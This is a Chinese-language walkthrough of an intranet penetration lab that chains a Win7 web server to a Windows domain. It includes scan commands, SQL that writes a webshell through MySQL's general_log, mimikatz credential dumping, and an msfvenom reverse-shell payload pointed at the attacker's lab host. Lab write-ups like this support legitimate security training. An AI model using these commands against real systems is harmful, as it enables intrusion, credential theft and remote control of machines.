一、靶场环境介绍
所有虚拟机默认密码为[email protected],本次实战完全模拟ATT&CK攻击链路进行搭建,形成完成闭环。
Win7:web服务,双网卡,Nat和主机模式1
Win2k3:域成员,主机模式1
Win2008:域控,主机模式1
确保攻击者(kail)能访问到(win7)web服务对外的网卡,不能访问域控(win2008)和域成员(win2k3)
网络环境介绍
IP地址规划
1. win7
NAT网卡地址:192.168.230.147
仅主机模式地址:192.168.52.143
2. Win2k3
由于开机会强制修改密码,密码就修改为[email protected]
仅主机模式地址:192.168.52.141
3. Windows 2008 R2
同样要求开机修改密码,改为[email protected]
仅主机模式地址:192.168.52.138
4. 网络连通性测试
攻击者只能通192.168.230.0这个网段,是不可达192.168.52.0这个网段
192.168.52.0这个网段,只有仅主机模式网卡才能互通,形成了物理隔离
拓扑如下,到此环境搭建完成
二、靶场实战环节
1. 信息收集
主机发现
netdiscover -i eth0 -r 192.168.230.0/24
端口扫描
nmap -T4 -A -v -p 1-65535 192.168.230.147
结果如下,显示多个端口开放,重点关注80和3306端口
访问80端口发现是一个phpstudy探针页面
能够利用的有以下几点:
phpinfo信息
服务器banner信息(系统,apache,php版本)
Phpstudy后门(未测试)
MySQL数据库弱口令
MySQL数据库密码爆破
通过御剑进行网站目录扫描,结果如下发现存在phpmyadmin页面和网站备份文件beifen.rar
下载网站备份文件进行分析
得知为网站内容管理系统为yxcms,版本为1.2.1
存在phpMyadmin页面
2. 口令爆破
Mysql数据库爆破同时进行
数据库密码成功被爆破为root
测试连接成功
3. 漏洞利用(整理获取到的信息,分析可利用的攻击路径如下)
通过爆破的数据库用户密码/网站的config.php读取数据库密码登录phpMyadmin 进行getshell
通过网站的备份文件进行利用
挖掘网站后台地址,以及网站后台登录密码
知道后台地址,但是密码更改的情况下,可以从数据库里挖掘密码
获取到网站管理权限
phpMydmin的Getshell的方式有多种,已知绝对路径的情况下直接尝试写入导出
执行失败,失败原因是secure-file-priv 不能执行这个语句,相信很多大佬已经知道原因了
我们需要注意secure_file_priv的特性
Secure_file_priv 参数是用来限制LOAD DATA,SELECT ….OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null,表示限制mysqld 不允许导入|导出
既然限制了into outfile导出,只能通过日志gethsell了
general_log:日志保存状态(ON代表开启 OFF代表关闭)
general_log_file:日志保存的文件
general_log的作用是记录用户输入的每条命令并保存在日志文件中,利用的思路是开启general_log,把general_log_file日志保存的文件指定为一个php文件,通过log日志写入webshell进行利用
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/log.php';
改完之后的效果如下
通过查询一句话webshell日志,可以把webshell记录到log.php文件中,造成getshell
连接蚁剑成功getshell
另一种方式通过网站后台getshell,在网站后台发现前台模板处可对php文件进行创建
成功创建webshell文件
通过beifen网站文件,对比检索php文件的路径,可推测创建文件的绝对路径
获取网站的绝对路径:\yxcms\protected\apps\default\view\default
蚁剑连接POST传参,成功getshell
内网信息收集走一遍
系统信息
获取补丁信息
获取安装软件
获取本机路由
获取ARP缓存
判断为域场景
当前在域中,当前用户非域用户
查询当前的加入的域及域内其他主机
上传mimikatz抓取内存密码
非交互执行mimikatz,执行结果写入一个pass.txt
获取内存密码
查看远程桌面服务发现未开启
成功开启远程桌面
构建socks 5代理隧道
由于远程桌面被靶机限制了,所以登录失败
直接上fscan走一波,漏洞基本上为ms17_010
通过msf生成反弹的exe
msfvenom -pwindows/x64/meterpreter/reverse_tcp lhost=192.168.230.128 lport=1234 -a x64--platform win -f exe > /root/payload.exe
上传到目标服务器,并在kail设置好监听,获取meterpreter会话
获取当前pid,资源管理器pid,进行进程迁移
添加路由
设置代理
搭建代理后Namp测试下
扫描ms17-010
后面的meterpreter会话连接不稳定,目前的思路为利用ms17-010和凭证传递获取权限
转载于闪焰安全服务团队。
学习更多技术,关注我: